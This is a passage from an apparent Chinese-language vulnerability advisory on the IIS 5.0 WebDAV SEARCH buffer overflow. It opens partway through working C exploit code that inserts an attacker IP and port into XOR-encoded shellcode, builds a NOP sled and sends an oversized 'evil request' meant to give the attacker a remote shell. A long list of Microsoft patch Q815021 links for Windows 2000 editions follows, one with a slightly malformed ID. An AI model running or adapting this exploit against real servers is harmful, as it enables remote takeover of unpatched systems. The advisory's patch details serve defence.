shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2]; shellc0de[451]=ip1[3];

    port = htons(atoi(argv[3]));
    port_to_shell = (char *) &port;
    shellc0de[446]=port_to_shell[0];
    shellc0de[447]=port_to_shell[1];

// we xor the shellcode [xored by 0x95 to avoid bad chars]
__asm {
  lea eax, shellc0de
  add eax, 0x34
xor ecx, ecx
mov cx, 0x1b0
wah:
xor byte ptr[eax], 0x95
inc eax
loop wah
}

  if ((he = gethostbyname(argv[1]))==0){
    printf("error: can't resolve '%s'",argv[1]);
    return;
  }
  
  crpt.sin_port = htons(80);
  crpt.sin_family = AF_INET;
  crpt.sin_addr = *((struct in_addr *)he->h_addr);
  
  if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    printf("error: can't create socket");
    return;
  }
  
  printf("Connecting... ");

  if ((connect(s, (struct sockaddr *) &crpt, sizeof(crpt))) == -1){
    printf("ERROR\r\n");
    return;
  }
// No Operation.
for(i=0;i<sizeof(buffer);buffer[i]=(char)0x90,i++);
// fill the buffer with the shellcode
for(i=64000,j=0;i<sizeof(buffer)&&j<sizeof(shellc0de)-1;buffer[i]=shellc0de[j],i++,j++);
// well..it is not necessary..
for(i=0;i<2500;buffer[i]=PAD,i++);

/* we can simply put our ret in this 2 offsets.. */
//buffer[2086]=PAD;
//buffer[2085]=PAD;

    buffer[sizeof(buffer)]=0x00;
    memset(request,0,sizeof(request));
    memset(data,0,sizeof(data));
    sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]);
    sprintf(request,"%s%d\r\n\r\n",request,strlen(content));
    printf("CONNECTED\r\nSending evil request... ");
    send(s,request,strlen(request),0);
    send(s,content,strlen(content),0);
    printf("SENT\r\n");
    recv(s,data,sizeof(data),0);
    if(data[0]!=0x00) {
    printf("Server seems to be patched.\r\n");
    printf("data: %s\r\n",data);
    } else
    printf("Now if you are lucky you will get a shell.\r\n");
    closesocket(s);
    return;
}

解决方案
厂商已经提供了补丁:

Microsoft Windows 2000 Professional SP3:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Server SP3:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Advanced Server SP3:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Terminal Services SP3:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Datacenter Server SP3:
Microsoft Windows 2000 Advanced Server SP2:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Datacenter Server SP2:
Microsoft Windows 2000 Professional SP2:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Server SP2:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Terminal Services SP2:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Terminal Services SP1:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Server SP1:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Professional SP1:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Advanced Server SP1:
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Datacenter Server SP1:
Microsoft Windows 2000 Server :
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Advanced Server :
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Professional :
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja
      Japanese NEC version.
Microsoft Windows 2000 Terminal Services :
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en
      All versions of Windows 2000 except Japanese NEC.
      Microsoft Patch Q815021
      http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja

相关信息
How to Disable WebDAV for IIS 5.0
http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B241520